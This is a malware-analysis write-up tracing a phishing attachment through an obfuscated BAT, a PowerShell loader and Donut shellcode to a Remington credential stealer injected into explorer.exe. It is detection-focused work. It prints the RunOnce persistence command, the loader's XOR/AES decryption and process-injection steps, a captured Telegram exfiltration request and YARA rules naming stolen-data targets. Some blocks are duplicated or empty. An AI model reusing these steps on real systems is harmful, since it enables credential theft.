From phishing attachment to in-memory stealer: dissecting a Donut-wrapped Remington payload

Key takeaways

• Initial access began with a phishing email carrying the malicious attachment. This delivery context came from the original incident; the controlled detonation began after the attachment had already been obtained.
• A file presented as a .Tar archive was actually a locked RAR5 container holding an obfuscated BAT.
• The BAT established user-level persistence, reconstructed an encrypted PowerShell loader, and deleted its intermediate files.
• PowerShell decrypted an 89,389-byte Donut stage and injected it into explorer.exe using OpenProcess, VirtualAllocEx, WriteProcessMemory, VirtualProtectEx, and CreateRemoteThread.
• PE-sieve recovered the final x86 .NET payload as Remington, Version=1.0.0.0. Its code supports keylogging, clipboard monitoring, browser cookies/passwords/Web Data/history, Outlook and other mail profiles, FileZilla, Pidgin, Discord, Wi-Fi credentials, and several delivery channels.
• Elastic observed explorer.exe installing a low-level keyboard hook from unbacked memory, directly linking the recovered code to runtime behavior.
• The malware attempted Telegram delivery, but the request contained no bot token or chat_id. Telegram returned 404 Not Found; successful exfiltration was not observed.
• Donut is the in-memory loader in this chain—not the information-stealer family. The recovered payload is consistent with Remington/VIP Recovery or VIPKeylogger functionality.

Investigation context

The sample was received during an incident approximately three months before this controlled analysis. The original intrusion began with a phishing email that delivered the malicious attachment. Because the laboratory work started from the preserved attachment, the phishing event itself was not replayed; it is incident-provenance context, while the execution stages below were reproduced and measured in the isolated environment.

The initial report relied primarily on EDR visibility, leaving important questions unresolved: What was injected? Which persistence mechanism was actually executable? Did the apparent Telegram traffic represent successful theft? What credential sources could the final payload target? And what artifacts existed outside the EDR event stream?

We detonated the original sample in an isolated Windows environment with endpoint prevention disabled only during execution. The analysis combined:

• Elastic Defend and Windows event telemetry;
• Sysmon and PowerShell Script Block Logging;
• pfSense firewall logs;
• Velociraptor live response and artifact collection;
• Procmon and Windows network tracing;
• full physical-memory and targeted process dumps;
• Sysinternals utilities and PE-sieve.

The objective was not simply to assign a family label. It was to produce an evidence-backed chain in which every important claim could be tied to endpoint, network, registry, filesystem, or memory evidence.

The complete execution chain

flowchart TD
    A["Phishing email<br/>malicious attachment"] --> B["Mislabeled .Tar file<br/>RAR5 archive"]
    B --> C["Obfuscated BAT<br/>executed from Rar$ temp path"]
    C --> D["Persistence<br/>RunOnce SOCCER to THUS.bat"]
    C --> E["WORKS.tmp<br/>Base64 material"]
    E --> F["news.ps1<br/>decoded then executed"]
    F --> G["XOR 0x3e + AES-CBC<br/>89,389-byte Donut stage"]
    G --> H["Remote-process injection<br/>RW to RX in explorer.exe"]
    H --> I["Remington .NET payload<br/>in explorer.exe"]
    I --> J["WH_KEYBOARD_LL<br/>keylogging hook"]
    I --> K["Browser, mail, application,<br/>Wi-Fi and clipboard recovery"]
    I --> L["IP and geo discovery"]
    L --> M["Telegram delivery attempt<br/>404 Not Found"]
    style D fill:#3d2b1f,stroke:#b5651d,color:#fff
    style I fill:#3b1f1f,stroke:#c0392b,color:#fff
    style M fill:#1f2f3b,stroke:#5499c7,color:#fff

The chain matters more than any single alert. The phishing attachment, archive, scripts, memory manipulation, CLR load, keyboard hook, persistence, and network sequence describe one coherent intrusion—not a collection of unrelated suspicious events.

Observed activity timeline

The original phishing delivery preceded the laboratory run and does not have a reproduced lab timestamp. All times below are UTC on 12 August 2026; Riyadh local time is UTC+03:00.

sequenceDiagram
    autonumber
    participant U as User
    participant B as Obfuscated BAT
    participant PS as PowerShell loader
    participant E as explorer.exe
    participant X as External services
    Note over U: Phishing email delivers<br/>mislabeled archive attachment
    U->>B: Open archive and execute extracted BAT
    B->>B: Copy to THUS.bat and create RunOnce
    B->>PS: Decode WORKS.tmp into news.ps1
    PS->>PS: XOR, derive SHA-256 key, AES-CBC decrypt
    PS->>E: Allocate RW memory and write 89,389 bytes
    PS->>E: Change RW to RX and CreateRemoteThread
    E->>E: Load CLR and Remington assembly
    E->>E: Install WH_KEYBOARD_LL hook
    E->>X: Public IP, then geolocation, then Telegram
    X-->>E: Telegram 404 Not Found

Stage 0: phishing delivery

The initial foothold was phishing. The message delivered a file presented as a .Tar attachment. The laboratory analysis did not reproduce the email-delivery event, so sender, message-routing, and mail-gateway details are outside the scope of this detonation. The preserved attachment and the subsequent execution chain were analyzed directly.

This distinction is important: phishing is the initial-access vector established by the original incident, while the timestamped telemetry in this article begins when the preserved attachment was executed in the isolated VM.

Stage 1: archive and BAT execution

The initial file was named:

MRF-889-MHS-TLQ-520 # 2600260001.Tar

MRF-889-MHS-TLQ-520 # 2600260001.Tar

Its format was RAR5 rather than TAR. After extraction, the BAT executed from a temporary Rar$... directory and retained a cmd.exe /K process. This is a useful detection pivot: archive-extraction paths are common, but a BAT launched from Rar$*, followed by script reconstruction and persistence, is substantially higher signal.

The BAT copied itself to:

%APPDATA%\Microsoft\Windows\Templates\THUS.bat

%APPDATA%\Microsoft\Windows\Templates\THUS.bat

It applied Hidden, System, and Archive attributes. The copied file retained the original BAT SHA-256:

C44ED6FB3FD892ACBB0ED7A92BC56C8B09D04E470F0496ECD9770A2064B57

C44ED6FB3FD892ACBB0ED7A92BC56C8B09D04E470F0496ECD9770A2064B57

Stage 2: proven persistence and a suspicious CLSID

The effective persistence mechanism was:

HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce\SOCCER

HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce\SOCCER

with data:

cmd.exe /c "%APPDATA%\Microsoft\Windows\Templates\THUS.bat"

cmd.exe /c "%APPDATA%\Microsoft\Windows\Templates\THUS.bat"

The sample also created this per-user registration:

HKCU\Software\Classes\CLSID\{74D17C94-1EE9-4A29-C7C7-9E82FF971DA3}
  (Default) = System Shell Extension
  InProcServer32\(Default) = rundll32.exe
  InProcServer32\ThreadingModel = Apartment

HKCU\Software\Classes\CLSID\{74D17C94-1EE9-4A29-C7C7-9E82FF971DA3}
  (Default) = System Shell Extension
  InProcServer32\(Default) = rundll32.exe
  InProcServer32\ThreadingModel = Apartment

This is suspicious and deceptive, but it should not be overstated. InProcServer32 normally references a DLL, while this value references rundll32.exe, and we observed no activation of the CLSID. The RunOnce entry is the persistence mechanism proven to execute.

Stage 3: reconstructing the deleted PowerShell loader

The BAT created WORKS.tmp, decoded it into news.ps1, and then removed the intermediate material. EDR alone showed suspicious PowerShell behavior, but PowerShell Script Block Logging retained 222 events. Eighteen fragments shared ScriptBlock ID:

928465db-2515-43c3-81d9-7b56673a4df4

928465db-2515-43c3-81d9-7b56673a4df4

Reassembling those fragments and restoring the original UTF-8 BOM and terminal CRLF reproduced the supplied PowerShell SHA-256 exactly:

CEABF3E47D73BFECE45A45E1165A7415F6DA53BBFF551684DC04779FAF798BB9

CEABF3E47D73BFECE45A45E1165A7415F6DA53BBFF551684DC04779FAF798BB9

The recovered loader:

• created mutex DR8hpX5psQHFXnP5_Mtx;
• selected the first running explorer.exe;
• decoded an embedded Base64 blob;
• XORed it with 0x3e;
• derived an AES key as SHA256(seed || "cyberm");
• decrypted the data with AES-CBC and PKCS#7 padding;
• compiled P/Invoke declarations using PowerShell Add-Type;
• injected the decrypted stage into Explorer.

flowchart LR
    A["Embedded Base64"] --> B["Base64 decode"]
    B --> C["XOR each byte with 0x3e"]
    S["Seed"] --> K["SHA-256 of seed + cyberm"]
    K --> AK["AES key"]
    C --> DEC["AES-CBC / PKCS#7 decrypt"]
    AK --> DEC
    IV["Embedded IV"] --> DEC
    DEC --> D["89,389-byte stage<br/>SHA-256 F9E022...CD55"]
    D --> V1["VirtualAllocEx<br/>RW memory in explorer.exe"]
    V1 --> V2["WriteProcessMemory"]
    V2 --> V3["VirtualProtectEx<br/>RW to RX"]
    V3 --> V4["CreateRemoteThread"]
    style D fill:#2b2b3d,stroke:#7d7dbf,color:#fff
    style V4 fill:#3b1f1f,stroke:#c0392b,color:#fff

The decrypted file was exactly 89,389 bytes—the same byte count reported by Elastic for WriteProcessMemory and VirtualProtectEx. That size match tied the recovered content to the observed injection event.

Stage 4: recovering the in-memory payload

Elastic subsequently observed CLR loading inside Explorer, but that did not identify the final assembly. We scanned the live injected process with PE-sieve, which is designed to identify and dump injected PEs, shellcode, hooks, and other in-memory modifications.

PE-sieve recovered:

The recovered metadata and strings included:

• KeyLogger, ProcessKey, and Identifykey;
• Clipboard_Recovered and recovered clipboard records;
• browser cookies, saved passwords, Web Data, history, and top-sites recovery across Chromium and Mozilla families;
• Outlook profile recovery targeting Office 15.0, Office 16.0, and the legacy Windows Messaging Subsystem, including IMAP, POP3, HTTP, and SMTP password fields;
• recovery paths or labels for Thunderbird, SeaMonkey, PostBox, Foxmail, FileZilla, Pidgin, Discord, and stored Wi-Fi credentials;
• Telegram, Discord webhook, and SMTP delivery options;
• VIP Recovery and VIPKeylogger-related output labels.

Complete recovered capability map

flowchart TD
    R["Remington / VIP Recovery<br/>inside explorer.exe"]
    R --> IC["Input capture"]
    IC --> IC1["Low-level keylogger<br/>observed hook installation"]
    IC --> IC2["Clipboard monitoring<br/>initialized; collection unproven"]
    R --> BR["Browser recovery"]
    BR --> BR1["Cookies"]
    BR --> BR2["Saved passwords"]
    BR --> BR3["Web Data / autofill"]
    BR --> BR4["History and top sites"]
    BR --> BR5["Mozilla-family profiles"]
    BR --> BR6["Periodic cookie collection"]
    R --> MM["Mail and messaging recovery"]
    MM --> MM1["Outlook profiles"]
    MM --> MM2["IMAP, POP3, HTTP, SMTP secrets"]
    MM --> MM3["Thunderbird, SeaMonkey"]
    MM --> MM4["PostBox, Foxmail"]
    MM --> MM5["Discord LevelDB, Pidgin"]
    R --> OC["Other credential sources"]
    OC --> OC1["FileZilla recent servers"]
    OC --> OC2["Stored Wi-Fi credentials"]
    R --> VD["Victim discovery"]
    VD --> VD1["Public IP<br/>observed"]
    VD --> VD2["Geolocation<br/>observed"]
    R --> DL["Delivery channels"]
    DL --> DL1["Telegram sendMessage<br/>attempted; HTTP 404"]
    DL --> DL2["Telegram sendDocument<br/>not observed"]
    DL --> DL3["Discord webhook<br/>not observed"]
    DL --> DL4["SMTP<br/>not observed"]
    style IC1 fill:#3b1f1f,stroke:#c0392b,color:#fff
    style VD1 fill:#3b1f1f,stroke:#c0392b,color:#fff
    style VD2 fill:#3b1f1f,stroke:#c0392b,color:#fff
    style DL1 fill:#3d2b1f,stroke:#b5651d,color:#fff

The browser logic references Chrome, Edge, Brave, Chromium/Iron, Vivaldi, Opera, Firefox, Waterfox, Pale Moon and many Chromium derivatives. These targets show breadth of capability, not successful collection. During RUN01, no scoped browser-profile database event attributable to injected Explorer demonstrated that cookies, passwords, autofill data, or history were successfully recovered.

The Outlook capability was especially environment-dependent. The recovered assembly contains the label Recovered From: Outlook and hard-coded paths beneath the Office 15.0/16.0 and Windows Messaging Subsystem Profiles\Outlook registry trees. The analysis VM did not have a configured Outlook profile, and no Outlook data recovery was observed. This supports an Outlook profile-recovery capability, not a claim that email credentials or messages were collected during this run.

The loader shape is consistent with Donut’s purpose: converting .NET assemblies and other Windows payloads into position-independent code for in-memory execution. Donut also supports CLR hosting and AMSI/WLDP patching. In this case, Elastic independently raised Donut-related and memory-patching detections.

Runtime proof: CLR and a keyboard hook in Explorer

Static capability strings can describe dormant or disabled features. The runtime evidence was stronger. Explorer loaded CLR, mscorlib, clrjit, System.Windows.Forms, WinINet, and WinHTTP after injection. Elastic then observed:

SetWindowsHookEx(WH_KEYBOARD_LL, Unbacked)

SetWindowsHookEx(WH_KEYBOARD_LL, Unbacked)

from the injected Explorer process. That behavior directly corroborated the recovered keylogger methods.

The payload also repeatedly raised a .NET STA/OLE exception in Explorer. The message stated that the current thread needed single-threaded apartment mode before OLE calls. This is consistent with clipboard/OLE logic executing on an unsuitable thread. It is useful corroborating behavior, but it does not prove that clipboard data was successfully collected.

Network behavior: discovery followed by failed delivery

The injected Explorer process generated this sequence:

pfSense independently logged allowed traffic from the analysis endpoint for the same destinations, while Elastic attributed the connections to injected Explorer. This cross-source correlation was important because the IP addresses themselves belong to shared infrastructure and are not attacker-exclusive indicators.

The process dump contained the attempted Telegram request:

GET /bot/sendMessage?chat_id=&text=... HTTP/1.1
Host: api.telegram.org

GET /bot/sendMessage?chat_id=&text=... HTTP/1.1
Host: api.telegram.org

and the response:

{"ok":false,"error_code":404,"description":"Not Found"}

{"ok":false,"error_code":404,"description":"Not Found"}

No bot token, chat ID, Discord webhook, or SMTP credential was recovered. This build may have been incomplete, misconfigured, or deliberately stripped. Whatever the explanation, the evidence supports attempted—not successful—Telegram exfiltration.

The assembly also contains Telegram sendDocument, Discord-webhook, and SMTP delivery paths. None was successfully exercised during RUN01. These should be reported as alternate delivery capabilities rather than additional observed exfiltration.

Where EDR visibility ended—and other evidence began

flowchart LR
    E["Elastic Defend<br/>process, memory, hook, alerts"] --> R["Reconstructed chain"]
    P["PowerShell logs<br/>deleted loader recovery"] --> R
    S["Procmon + Sysmon<br/>file, registry, process detail"] --> R
    F["pfSense<br/>independent egress confirmation"] --> R
    V["Velociraptor<br/>artifacts and memory acquisition"] --> R
    PS["PE-sieve + dumps<br/>final payload and failed request"] --> R
    style R fill:#1f2f3b,stroke:#5499c7,color:#fff

No single source answered every question:

• Elastic exposed the injection mechanics, suspicious memory protections, CLR load, and keyboard hook.
• PowerShell logging recovered a deleted loader with an exact known hash.
• Registry and filesystem acquisition distinguished proven persistence from suspicious but unproven COM registration.
• pfSense corroborated egress independently of the endpoint sensor.
• Memory analysis identified the final payload and proved the Telegram request failed.

This is the main lesson from the investigation: alert fidelity and endpoint visibility were strong, but payload identity and outcome required memory and cross-source evidence.

MITRE ATT&CK mapping

Indicators

File hashes

Host indicators

%APPDATA%\Microsoft\Windows\Templates\THUS.bat
HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce\SOCCER
HKCU\Software\Classes\CLSID\{74D17C94-1EE9-4A29-C7C7-9E82FF971DA3}
mutex   DR8hpX5psQHFXnP5_Mtx
assembly Remington, Version=1.0.0.0

%APPDATA%\Microsoft\Windows\Templates\THUS.bat
HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce\SOCCER
HKCU\Software\Classes\CLSID\{74D17C94-1EE9-4A29-C7C7-9E82FF971DA3}
mutex   DR8hpX5psQHFXnP5_Mtx
assembly Remington, Version=1.0.0.0

Contextual network indicators

checkip.dyndns.org
reallyfreegeoip.org
api.telegram.org

checkip.dyndns.org
reallyfreegeoip.org
api.telegram.org

These are shared or legitimate services. Hunt them in conjunction with the injected-process and domain-sequence behavior rather than treating them as standalone malicious infrastructure.

Detection engineering

The following YARA rules detect two distinct components recovered during the investigation: the reconstructed PowerShell injector and the final Remington/VIP Recovery payload. Both rules are provided in a single ruleset for easier deployment.

/*
    Donut-wrapped Remington detection rules
    Author: Cipher TDR

    The first rule detects the reconstructed PowerShell injector.
    The second rule detects the recovered Remington/VIP Recovery payload.
*/

rule PowerShell_Donut_Explorer_Injector
{
    meta:
        author = "Cipher TDR"
        date = "2026-08-18"
        description = "Detects the PowerShell loader that decrypted a Donut stage and injected explorer.exe"
        sample_sha256 = "ceabf3e47d73bfece45a45e1165a7415f6da53bbff551684dc04779faf798bb9"
        donut_stage_sha256 = "f9e02289cbb0d9225ff29c59a8ad85f120d69967938a528055e13ede86d1cd55"
        confidence = "high"

    strings:
        $api_1 = "OpenProcess" ascii wide
        $api_2 = "VirtualAllocEx" ascii wide
        $api_3 = "WriteProcessMemory" ascii wide
        $api_4 = "VirtualProtectEx" ascii wide
        $api_5 = "CreateRemoteThread" ascii wide

        $sample_1 = "SERIOUSLY" ascii wide
        $sample_2 = "cyberm" ascii wide
        $sample_3 = "0x001F0FFF" ascii wide nocase
        $sample_4 = "Add-Type -TypeDefinition" ascii wide nocase
        $sample_5 = "Get-Process explorer" ascii wide nocase

    condition:
        filesize < 1MB and
        4 of ($api_*) and
        3 of ($sample_*)
}

rule Win_Remington_VIP_Recovery_Stealer
{
    meta:
        author = "Cipher TDR"
        date = "2026-08-18"
        description = "Detects the recovered Remington/VIP Recovery information-stealer payload"
        sample_sha256 = "580208dc3ab732da63205c34e6b98e11810f5d17d6b602ff9d1029873d418474"
        confidence = "high"

    strings:
        $family_1 = "VIP Recovery" ascii wide
        $family_2 = "KeyLogger" ascii wide

        $collect_1 = "GetClipboardData" ascii wide
        $collect_2 = "Recovered From: Connected Wifi" ascii wide
        $collect_3 = "\\FileZilla\\recentservers.xml" ascii wide
        $collect_4 = "Recovered From: Discord" ascii wide
        $collect_5 = "Login Data" ascii wide
        $collect_6 = "Repeat_Cookies_Timer" ascii wide

        $network_1 = "http://checkip.dyndns.org/" ascii wide
        $network_2 = "https://reallyfreegeoip.org/xml/" ascii wide
        $network_3 = "https://api.telegram.org/bot" ascii wide
        $network_4 = "/sendMessage?chat_id=" ascii wide

        $config_1 = "%is_Telegram%" ascii wide
        $config_2 = "%$DiscordWebhookURL$%" ascii wide

    condition:
        uint16(0) == 0x5a4d and
        filesize < 2MB and
        all of ($family_*) and
        2 of ($collect_*) and
        2 of ($network_*) and
        1 of ($config_*)
}

/*
    Donut-wrapped Remington detection rules
    Author: Cipher TDR

    The first rule detects the reconstructed PowerShell injector.
    The second rule detects the recovered Remington/VIP Recovery payload.
*/

rule PowerShell_Donut_Explorer_Injector
{
    meta:
        author = "Cipher TDR"
        date = "2026-08-18"
        description = "Detects the PowerShell loader that decrypted a Donut stage and injected explorer.exe"
        sample_sha256 = "ceabf3e47d73bfece45a45e1165a7415f6da53bbff551684dc04779faf798bb9"
        donut_stage_sha256 = "f9e02289cbb0d9225ff29c59a8ad85f120d69967938a528055e13ede86d1cd55"
        confidence = "high"

    strings:
        $api_1 = "OpenProcess" ascii wide
        $api_2 = "VirtualAllocEx" ascii wide
        $api_3 = "WriteProcessMemory" ascii wide
        $api_4 = "VirtualProtectEx" ascii wide
        $api_5 = "CreateRemoteThread" ascii wide

        $sample_1 = "SERIOUSLY" ascii wide
        $sample_2 = "cyberm" ascii wide
        $sample_3 = "0x001F0FFF" ascii wide nocase
        $sample_4 = "Add-Type -TypeDefinition" ascii wide nocase
        $sample_5 = "Get-Process explorer" ascii wide nocase

    condition:
        filesize < 1MB and
        4 of ($api_*) and
        3 of ($sample_*)
}

rule Win_Remington_VIP_Recovery_Stealer
{
    meta:
        author = "Cipher TDR"
        date = "2026-08-18"
        description = "Detects the recovered Remington/VIP Recovery information-stealer payload"
        sample_sha256 = "580208dc3ab732da63205c34e6b98e11810f5d17d6b602ff9d1029873d418474"
        confidence = "high"

    strings:
        $family_1 = "VIP Recovery" ascii wide
        $family_2 = "KeyLogger" ascii wide

        $collect_1 = "GetClipboardData" ascii wide
        $collect_2 = "Recovered From: Connected Wifi" ascii wide
        $collect_3 = "\\FileZilla\\recentservers.xml" ascii wide
        $collect_4 = "Recovered From: Discord" ascii wide
        $collect_5 = "Login Data" ascii wide
        $collect_6 = "Repeat_Cookies_Timer" ascii wide

        $network_1 = "http://checkip.dyndns.org/" ascii wide
        $network_2 = "https://reallyfreegeoip.org/xml/" ascii wide
        $network_3 = "https://api.telegram.org/bot" ascii wide
        $network_4 = "/sendMessage?chat_id=" ascii wide

        $config_1 = "%is_Telegram%" ascii wide
        $config_2 = "%$DiscordWebhookURL$%" ascii wide

    condition:
        uint16(0) == 0x5a4d and
        filesize < 2MB and
        all of ($family_*) and
        2 of ($collect_*) and
        2 of ($network_*) and
        1 of ($config_*)
}

The rules were validated against the preserved PowerShell loader and recovered in-memory payload. Test and tune them before production deployment.

Conclusion

The intrusion began with phishing, but the attachment was only the first layer. A mislabeled archive exposed an obfuscated BAT, which reconstructed a PowerShell loader and reached a substantially more capable in-memory payload. The PowerShell stage combined custom XOR and AES handling with classic remote-process injection, while Donut hosted a .NET credential-stealing payload inside Explorer.

The most consequential findings required different evidence sources. Elastic showed how the injection and keyboard hook occurred. PowerShell logging restored a deleted stage. PE-sieve named the payload. Process memory resolved the final question: Telegram delivery was attempted, but it failed.

That distinction matters. Capability is not execution, a network connection is not exfiltration, and a suspicious registry artifact is not automatically proven persistence. A defensible malware analysis should state what the sample could do, what it actually did, and what the evidence cannot support.

References

• Elastic Security Labs: Call Stacks—No More Free Passes For Malware
• Elastic Security Labs: Upping the Ante—Detecting In-Memory Threats with Kernel Call Stacks
• Elastic Security Labs: Doubling Down—Detecting In-Memory Threats with Kernel ETW Call Stacks
• Elastic Security Labs: Detonating Beacons to Illuminate Detection Gaps
• Elastic Security Labs: Globally distributed stealers
• Elastic documentation: Knowledge base artifact settings for AI Assistants
• Donut official project: in-memory execution of .NET assemblies and Windows payloads
• PE-sieve documentation
• MITRE ATT&CK T1566.001: Spearphishing Attachment
• MITRE ATT&CK T1204.002: Malicious File
• MITRE ATT&CK T1055: Process Injection
• MITRE ATT&CK T1056.001: Keylogging
• MITRE ATT&CK T1547.001: Registry Run Keys / Startup Folder
• MITRE ATT&CK T1115: Clipboard Data
• MITRE ATT&CK T1555.003: Credentials from Web Browsers
• MITRE ATT&CK T1539: Steal Web Session Cookie
• MITRE ATT&CK T1016.001: Internet Connection Discovery
• MITRE ATT&CK T1614: System Location Discovery

Research and analysis by Mohammed Alzahrani